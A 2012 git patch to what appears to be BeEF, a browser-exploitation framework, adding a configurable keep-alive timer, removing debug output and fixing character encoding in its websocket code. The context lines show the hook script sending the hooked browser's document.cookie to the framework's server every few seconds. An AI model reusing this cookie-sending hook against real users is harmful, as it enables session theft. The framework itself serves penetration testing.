From 97c2649e3633aa1952bc0048dcb87957350da19b Mon Sep 17 00:00:00 2001 From: Graziano Felline Date: Fri, 20 Apr 2012 19:17:34 +0200 Subject: [PATCH] Corrected issues on IE browser (IE8 IE9) to check IE6 -IE7 Corrected Issues whit character encoding --- core/main/client/net.js | 3 +-- core/main/client/websocket.js | 4 +++- core/main/network_stack/websocket/websocket.rb | 6 ++++-- 3 files changed, 8 insertions(+), 5 deletions(-) diff --git a/core/main/client/net.js b/core/main/client/net.js index 40490c50f..c5ea60c2e 100644 --- a/core/main/client/net.js +++ b/core/main/client/net.js @@ -98,8 +98,7 @@ beef.net = { //todo this is necessary because at start could happened that ws in not still up and the browser try to send back browser info via websocket and failed this.queue(handler, cid, results, callback); this.flush(); - console.log("error in send " + e); - } + } } }, diff --git a/core/main/client/websocket.js b/core/main/client/websocket.js index 95af7bfbe..ffce2b03c 100644 --- a/core/main/client/websocket.js +++ b/core/main/client/websocket.js @@ -21,6 +21,8 @@ beef.websocket = { socket:null, + alive_timer:5000, + init:function () { var webSocketServer = beef.net.host; var webSocketPort = 11989; @@ -61,7 +63,7 @@ beef.websocket = { alive: function (){ beef.websocket.send('{"alive":"'+document.cookie+'"}'); console.log("sent alive"); - setTimeout("beef.websocket.alive()", 5000); + setTimeout("beef.websocket.alive()", beef.websocket.alive_timer); } diff --git a/core/main/network_stack/websocket/websocket.rb b/core/main/network_stack/websocket/websocket.rb index b66aff540..12459c5a2 100644 --- a/core/main/network_stack/websocket/websocket.rb +++ b/core/main/network_stack/websocket/websocket.rb @@ -53,6 +53,7 @@ module BeEF @@activeSocket["#{messageHash["cookie"]}"] = ws print_debug("In activesocket we have #{@@activeSocket}") elsif messageHash["alive"] != nil + #@todo browser could be not in bd so we have to add it hooked_browser = BeEF::Core::Models::HookedBrowser.first(:session => messageHash["alive"].gsub("BEEFHOOK=","")) hooked_browser.lastseen = Time.new.to_i hooked_browser.count! @@ -62,14 +63,14 @@ module BeEF else #json recv is a cmd response decode and send all to #we have to call dynamicreconstructor handler camp must be websocket - print_debug("Received from WebSocket #{messageHash}") + #print_debug("Received from WebSocket #{messageHash}") execute(messageHash) end end end rescue Exception => e print_error "Hooked browser from origin #{ws.origin} abruptly disconnected. #{e}" - end + end end } @@ -100,6 +101,7 @@ module BeEF command_results=Hash.new command_results["data"]=Base64.decode64(data["result"]) + command_results["data"].force_encoding('UTF-8') (print_error "BeEFhook is invalid"; return) if not BeEF::Filters.is_valid_hook_session_id?(data["bh"]) (print_error "command_id is invalid"; return) if not BeEF::Filters.is_valid_command_id?(data["cid"]) (print_error "command name is empty"; return) if data["handler"].empty?